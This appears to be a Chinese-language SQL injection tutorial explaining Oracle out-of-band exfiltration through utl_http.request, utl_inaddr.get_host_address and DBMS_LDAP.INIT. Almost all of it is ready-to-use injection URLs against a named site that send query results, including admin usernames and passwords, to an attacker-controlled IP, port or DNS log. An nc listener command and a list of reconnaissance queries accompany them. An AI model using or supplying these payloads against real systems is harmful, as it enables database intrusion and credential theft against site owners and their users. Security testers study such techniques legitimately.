Oracle注入之帶外通信和DNSLOG注入非常相似,例如和mysql中load_file()函數實現無回顯注入非常相似。
下面介紹這個技術中常用的函數和使用。
環境這里准備兩台測試,一台注入點的靶機,一台接受回顯數據的平台。
接受的數據的靶機:
nc -vvlp 2008
0x01 utl_http.request()函數
通過utl_http.request我們可以將查詢的結果發送到遠程服務器上,在遇到盲注時非常有用,要使用該方法用戶需要有utl_http訪問網絡的權限。
檢測是否支持utl_http.request
utl_http.request 頁面正常 支持
http://www.jsporcle.com/news.jsp?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --
反彈注入命令
and utl_http.request('http://域名或者ip:端口/'||(注入的語句))=1 --
注意|| 注意轉碼%7C%7C
例如這里使用
select banner from sys.v_$version where rownum=1查詢oracle數據庫版本指紋
http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'||(select banner from sys.v_$version where rownum=1))=1--
GET /Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Productio n HTTP/1.1
查看當前連接用戶 select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual
http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'%7C%7C(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))=1 --
查詢系統用戶
http://www.jsporcle.com/news.jsp?id=1 and%20 utl_http.request('http://192.168.5.28:2019/'%7c%7c (select user from dual))=1-- http://www.jsporcle.com/news.jsp?id=1 and%20 utl_http.request('http://192.168.5.28:2019/'%7c%7c(select member from v$logfile where rownum=1))=1-- http://www.jsporcle.com/news.jsp?id=1%20and%20%20utl_http.request(%27http://192.168.5.28:2019/%27%7c%7c(select%20instance_name%20from%20v$instance))=1--
查詢admin的帳號和密碼
http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'%7c%7c(select username%7c%7cpassword from admin))=1 --
以下是常用的一些命令。
1 當前用戶權限 (select * from session_roles)
2 當前數據庫版本 ( select banner from sys.v_$version where rownum=1)
3 服務器出口IP (用utl_http.request 可以實現)
4 服務器監聽IP (select utl_inaddr.get_host_address from dual)
5 服務器操作系統 (select member from v$logfile where rownum=1)
6 服務器sid ( 遠程連接的話需要, select instance_name fromv$instance;)
7 當前連接用戶 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)
0x02 utl_inaddr.get_host_address()函數
and (select utl_inaddr.get_host_address((select user fromdual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --
0x03 SYS.DBMS_LDAP.INIT()函數
and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.aaaa.com(自己搭建dnslog)') from dual)is not null --
三種函數用法效果大同小異,具體視情況使用即可。